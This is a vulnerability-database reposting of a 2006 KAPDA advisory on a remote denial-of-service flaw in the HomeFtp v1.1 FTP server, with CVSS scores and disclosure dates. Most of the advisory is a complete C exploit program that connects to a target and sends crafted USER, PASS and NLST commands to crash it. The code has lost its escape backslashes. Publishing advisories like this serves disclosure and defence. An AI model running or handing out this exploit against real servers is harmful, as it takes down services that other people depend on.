HomeFtp v1.1 Denial of Service

2006.01.14
Credit: cvh
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

[KAPDA::#21] - HomeFtp v1.1 Denial of Service KAPDA New advisory Vulnerable products : HomeFtp v1.1 Vendor: Helmsman(http://www.Frigate3.com) Risk: High Vulnerabilities: Denial of service Date : -------------------- Found : Aug 21 2005 Vendor Contacted : Aug 21 2005 Release Date : Jan 14 2006 About HomeFtp : -------------------- FTP server that is easy to use. You can have shared files in your with most comfort. Vulnerability: -------------------- Denial of service: A denial-of-service attack (also, DoS attack) is an attack on a computer system or network that causes a loss of service to users, typically the loss of network connectivity and services by consuming the bandwidth of the victim network or overloading the computational resources of the victim system. Exploit: -------------------- #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #define POCSTR "USER %sx0dx0aPASS %sx0dx0aNLSTx0dx0a" int header(); int usage(char *filename); int remote_connect( char* ip, unsigned short port ); int header() { printf("n[i] KAPDA - Computer Security Science Researchers Institutenn"); printf("[i] Title: tHomeFTP <= v1.1 Dos Exploitn"); printf("[i] Discovered by: tcvh {a] kapda.irn"); printf("[i] Exploit by: tPi3cH {a] kapda.irn"); printf("[i] More info: twww.kapda.ir/page-advisory.htmlnn"); return 0; } int usage(char *filename) { printf("[i] Usage: t%s HOST PORT USERNAME PASSWORDn",filename); printf("[i] Example: t%s 127.0.0.1 21 anonymous nonenn",filename); exit(0); } int remote_connect( char* ip, unsigned short port ) { int s; struct sockaddr_in remote_addr; struct hostent* host_addr; memset ( &remote_addr, 0x0, sizeof ( remote_addr ) ); if ( ( host_addr = gethostbyname ( ip ) ) == NULL ) { printf ( "[e] Cannot resolve "%s"n", ip ); exit ( 1 ); } remote_addr.sin_family = AF_INET; remote_addr.sin_port = htons ( port ); remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 ) { printf ( "[e] Socket failed!n" ); exit(1); } if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( "[e] Failed connecting!n" ); exit(1); } return ( s ); } int main(int argc, char *argv[]) { int s; char *request; header(); if( (argc < 5) ) usage(argv[0]); request = (char *) malloc(1024); printf("[r] Connecting to remote hostn"); s = remote_connect(argv[1],atoi(argv[2])); sleep(1); printf("[r] Creating buffern"); sprintf(request,POCSTR,argv[3],argv[4]); printf("[r] Sending %d bytes of DOS buffern",strlen(request)); if ( send ( s, request, strlen (request), 0) <= 0 ) { printf("[e] Failed to send buffern"); close(s); exit(1); } sleep(1); printf("[s] Exploit Done!n"); close(s); free(request); request = NULL; return 0; } Solution: -------------------- Vendor has b?ta program who fixes this problem Original Advisory: -------------------- http://www.kapda.ir/advisory-202.html Credit : -------------------- Discoverd by cvh [at} kapda.ir Exploit by pi3ch [at} kapda.ir Grtz to all members of KAPDA and GSO. KAPDA - Computer Security Science Researchers Institute http://www.KAPDA.ir


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top